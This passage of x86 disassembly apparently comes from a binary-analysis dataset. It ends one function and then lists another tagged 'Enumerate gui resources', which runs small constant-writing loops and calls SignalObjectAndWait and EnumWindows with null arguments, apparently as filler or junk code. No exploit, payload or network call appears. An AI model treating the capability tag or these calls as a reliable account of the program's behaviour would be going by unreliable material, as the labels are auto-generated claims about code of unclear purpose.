mov dword [edx], 0
cmp dword [edx], 2
jge 0x10022690
mov esi, dword [ebp + 0xc]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xc58f
inc dword [edx]
cmp dword [edx], 2
jl 0x1002267e
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10022c20
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [ebp + 8], 0
mov byte [ebp - 4], dl
je 0x10022c6c
test dl, dl
je 0x10022c45
cmp byte [ecx], 0
je 0x10022c83
push 1
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
jmp 0x10022c83
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
cmp dword [edx], 2
jge 0x10022c83
push esi
mov esi, dword [ebp + 0x10]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xc58f
inc dword [edx]
cmp dword [edx], 2
jl 0x10022c57
pop esi
jmp 0x10022c83
cmp byte [ebp + 0x14], 0
je 0x10022c79
mov eax, dword [ebp + 0x18]
inc dword [eax]
jmp 0x10022c83
xor eax, eax
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov esp, ebp
pop ebp
ret